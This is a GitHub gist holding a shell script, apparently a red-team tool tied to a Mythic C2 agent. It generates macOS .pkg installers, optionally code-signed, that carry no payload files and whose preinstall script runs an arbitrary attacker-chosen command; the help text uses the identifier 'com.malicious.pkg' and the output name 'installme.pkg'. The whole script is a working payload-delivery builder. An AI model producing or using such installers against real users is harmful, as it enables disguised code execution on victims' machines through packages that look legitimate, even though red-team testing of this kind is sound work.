Created
August 5, 2021 12:09
-
-
Save rookuu/49ea14a50854542ca7f5cde70962e502 to your computer and use it in GitHub Desktop.
Bash script to creating (signed) packages that execute commands. Originally for https://github.com/MythicAgents/orthrus
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
show_help() | |
{ | |
echo "Command line helper to generate pkg files that execute commands." | |
echo "Author: @rookuu" | |
echo | |
echo "Syntax: gen.sh -i com.malicious.pkg -o installme.pkg [-s 'My Signing Identity'] command" | |
echo "options:" | |
echo "-h Print this Help." | |
echo "-i Identifier for the package." | |
echo "-o File name for the output package." | |
echo "-s (optional) Identity to use when signing the package." | |
echo | |
} | |
OPTIND=1 | |
ident="" | |
out="" | |
signing="" | |
while getopts "hi:o:s:" opt; do | |
case "$opt" in | |
h) | |
show_help | |
exit 0 | |
;; | |
i) ident=$OPTARG | |
;; | |
o) out=$OPTARG | |
;; | |
s) signing=$OPTARG | |
;; | |
esac | |
done | |
shift $((OPTIND-1)) | |
[ "${1:-}" = "--" ] && shift | |
DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )" | |
TEMP=$(mktemp -d) | |
echo "Building in $TEMP" | |
mkdir $TEMP/pkg | |
mkdir $TEMP/pkg/scripts | |
echo "#!/bin/sh" > $TEMP/pkg/scripts/preinstall | |
echo "$@" >> $TEMP/pkg/scripts/preinstall | |
echo "exit 0" >> $TEMP/pkg/scripts/preinstall | |
chmod +x $TEMP/pkg/scripts/preinstall | |
pkgbuild --identifier $ident --nopayload --scripts $TEMP/pkg/scripts $TEMP/temp.pkg | |
productbuild --package $TEMP/temp.pkg $TEMP/temp_dist.pkg | |
if [ -z "$signing" ] | |
then | |
cp $TEMP/temp_dist.pkg $out | |
else | |
productsign --sign "$signing" $TEMP/temp_dist.pkg $TEMP/temp_dist_signed.pkg | |
cp $TEMP/temp_dist_signed.pkg $out | |
fi | |
echo "Done, see: $out" | |
rm -rf $TEMP |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment